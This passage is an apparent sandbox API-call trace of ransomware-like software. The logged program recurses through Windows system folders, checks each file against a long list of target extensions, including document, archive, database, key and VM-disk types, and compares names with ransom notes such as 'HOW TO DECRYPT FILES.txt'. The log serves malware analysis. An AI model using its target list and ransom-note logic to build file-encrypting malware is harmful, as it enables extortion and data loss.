[0108.127] lstrlenA (lpString="*.txt") returned 5 [0108.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.jpeg") returned 0 [0108.127] lstrlenA (lpString="*.jpeg") returned 6 [0108.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.jpg") returned 0 [0108.127] lstrlenA (lpString="*.jpg") returned 5 [0108.127] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.png") returned 0 [0108.128] lstrlenA (lpString="*.png") returned 5 [0108.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.php") returned 0 [0108.128] lstrlenA (lpString="*.php") returned 5 [0108.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.cs") returned 0 [0108.128] lstrlenA (lpString="*.cs") returned 4 [0108.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.cpp") returned 0 [0108.128] lstrlenA (lpString="*.cpp") returned 5 [0108.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.rar") returned 0 [0108.128] lstrlenA (lpString="*.rar") returned 5 [0108.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.zip") returned 0 [0108.128] lstrlenA (lpString="*.zip") returned 5 [0108.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.html") returned 0 [0108.128] lstrlenA (lpString="*.html") returned 6 [0108.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.htm") returned 0 [0108.128] lstrlenA (lpString="*.htm") returned 5 [0108.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.xlsx") returned 0 [0108.128] lstrlenA (lpString="*.xlsx") returned 6 [0108.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.xls") returned 0 [0108.128] lstrlenA (lpString="*.xls") returned 5 [0108.128] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.mp4") returned 0 [0108.129] lstrlenA (lpString="*.mp4") returned 5 [0108.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.ppt") returned 0 [0108.129] lstrlenA (lpString="*.ppt") returned 5 [0108.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.pptx") returned 0 [0108.129] lstrlenA (lpString="*.pptx") returned 6 [0108.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.doc") returned 0 [0108.129] lstrlenA (lpString="*.doc") returned 5 [0108.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.dot") returned 0 [0108.129] lstrlenA (lpString="*.dot") returned 5 [0108.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.docx") returned 0 [0108.129] lstrlenA (lpString="*.docx") returned 6 [0108.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.7z") returned 0 [0108.129] lstrlenA (lpString="*.7z") returned 4 [0108.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.tar") returned 0 [0108.129] lstrlenA (lpString="*.tar") returned 5 [0108.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.bz2") returned 0 [0108.129] lstrlenA (lpString="*.bz2") returned 5 [0108.129] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.gz") returned 0 [0108.129] lstrlenA (lpString="*.gz") returned 4 [0108.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.mkv") returned 0 [0108.130] lstrlenA (lpString="*.mkv") returned 5 [0108.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.eml") returned 0 [0108.130] lstrlenA (lpString="*.eml") returned 5 [0108.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.msg") returned 0 [0108.130] lstrlenA (lpString="*.msg") returned 5 [0108.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.edb") returned 0 [0108.130] lstrlenA (lpString="*.edb") returned 5 [0108.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.accdb") returned 0 [0108.130] lstrlenA (lpString="*.accdb") returned 7 [0108.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.odb") returned 0 [0108.130] lstrlenA (lpString="*.odb") returned 5 [0108.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.java") returned 0 [0108.130] lstrlenA (lpString="*.java") returned 6 [0108.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.asm") returned 0 [0108.130] lstrlenA (lpString="*.asm") returned 5 [0108.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.pfx") returned 0 [0108.130] lstrlenA (lpString="*.pfx") returned 5 [0108.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.pem") returned 0 [0108.130] lstrlenA (lpString="*.pem") returned 5 [0108.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.p12") returned 0 [0108.130] lstrlenA (lpString="*.p12") returned 5 [0108.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.gpg") returned 0 [0108.131] lstrlenA (lpString="*.gpg") returned 5 [0108.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.vsd") returned 0 [0108.131] lstrlenA (lpString="*.vsd") returned 5 [0108.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.odg") returned 0 [0108.131] lstrlenA (lpString="*.odg") returned 5 [0108.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.raw") returned 0 [0108.131] lstrlenA (lpString="*.raw") returned 5 [0108.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.nef") returned 0 [0108.131] lstrlenA (lpString="*.nef") returned 5 [0108.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.svg") returned 0 [0108.131] lstrlenA (lpString="*.svg") returned 5 [0108.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.psd") returned 0 [0108.131] lstrlenA (lpString="*.psd") returned 5 [0108.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.vmx") returned 0 [0108.131] lstrlenA (lpString="*.vmx") returned 5 [0108.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.vmdk") returned 0 [0108.131] lstrlenA (lpString="*.vmdk") returned 6 [0108.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.vdi") returned 0 [0108.131] lstrlenA (lpString="*.vdi") returned 5 [0108.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.lay6") returned 0 [0108.132] lstrlenA (lpString="*.lay6") returned 6 [0108.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.mpeg") returned 0 [0108.132] lstrlenA (lpString="*.mpeg") returned 6 [0108.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.djvu") returned 0 [0108.132] lstrlenA (lpString="*.djvu") returned 6 [0108.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.tiff") returned 0 [0108.132] lstrlenA (lpString="*.tiff") returned 6 [0108.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.backup") returned 0 [0108.132] lstrlenA (lpString="*.backup") returned 8 [0108.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.pdf") returned 0 [0108.132] lstrlenA (lpString="*.pdf") returned 5 [0108.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.cert") returned 0 [0108.132] lstrlenA (lpString="*.cert") returned 6 [0108.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.docm") returned 0 [0108.132] lstrlenA (lpString="*.docm") returned 6 [0108.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.xlsm") returned 0 [0108.132] lstrlenA (lpString="*.xlsm") returned 6 [0108.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.dwg") returned 0 [0108.132] lstrlenA (lpString="*.dwg") returned 5 [0108.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.nd") returned 0 [0108.132] lstrlenA (lpString="*.nd") returned 4 [0108.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.tlg") returned 0 [0108.132] lstrlenA (lpString="*.tlg") returned 5 [0108.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.lgb") returned 0 [0108.133] lstrlenA (lpString="*.lgb") returned 5 [0108.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.mov") returned 0 [0108.133] lstrlenA (lpString="*.mov") returned 5 [0108.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.xdw") returned 0 [0108.133] lstrlenA (lpString="*.xdw") returned 5 [0108.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.ods") returned 0 [0108.133] lstrlenA (lpString="*.ods") returned 5 [0108.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.wav") returned 0 [0108.133] lstrlenA (lpString="*.wav") returned 5 [0108.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.mp3") returned 0 [0108.133] lstrlenA (lpString="*.mp3") returned 5 [0108.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.aiff") returned 0 [0108.133] lstrlenA (lpString="*.aiff") returned 6 [0108.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.flac") returned 0 [0108.133] lstrlenA (lpString="*.flac") returned 6 [0108.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.m4a") returned 0 [0108.133] lstrlenA (lpString="*.m4a") returned 5 [0108.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\Microsoft.ManagementConsole.ni.dll", pszSpec="*.csv") returned 0 [0108.134] lstrlenA (lpString="*.csv") returned 5 [0108.134] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8c89704, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8c89704, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8caf864, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xc3000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.ManagementConsole.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.134] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.134] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8cfbb25, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd8cfbb25, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd8cfbb25, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e72886c96b63be364c0205b6c4ff4413", cAlternateFileName="E72886~1")) returned 0 [0108.134] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0108.134] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f2865e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64abf540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x64abf540, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.MediaCent#", cAlternateFileName="MICROS~1.MED")) returned 1 [0108.134] lstrcmpA (lpString1=".", lpString2="Microsoft.MediaCent#") returned -1 [0108.134] lstrcmpA (lpString1="..", lpString2="Microsoft.MediaCent#") returned -1 [0108.134] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0108.134] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.MediaCent#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#" [0108.134] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#") returned 67 [0108.134] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f2865e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64abf540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x64abf540, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0108.141] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.141] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f2865e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64abf540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x64abf540, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.141] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.141] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.141] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x613b3880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613b3880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x613b3880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="140714964f3afbcea38cb33d548c5d3c", cAlternateFileName="140714~1")) returned 1 [0108.141] lstrcmpA (lpString1=".", lpString2="140714964f3afbcea38cb33d548c5d3c") returned -1 [0108.141] lstrcmpA (lpString1="..", lpString2="140714964f3afbcea38cb33d548c5d3c") returned -1 [0108.142] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*.*") returned="*.*" [0108.142] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\", lpString2="140714964f3afbcea38cb33d548c5d3c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c" [0108.142] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c") returned 100 [0108.142] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x613b3880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613b3880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x613b3880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.142] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.142] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x613b3880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613b3880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x613b3880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.142] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.142] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.142] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30fd8337, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30fd8337, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9f13d990, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x11dc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.142] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.143] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll") returned -1 [0108.143] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll") returned -1 [0108.143] lstrcmpiA (lpString1="", lpString2="Microsoft.MediaCenter.TV.Tuners.Interop.ni.dll") returned -1 [0108.143] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\*.*") returned="*.*" [0108.143] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\" [0108.143] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\") returned="" [0108.143] lstrcatA (in: 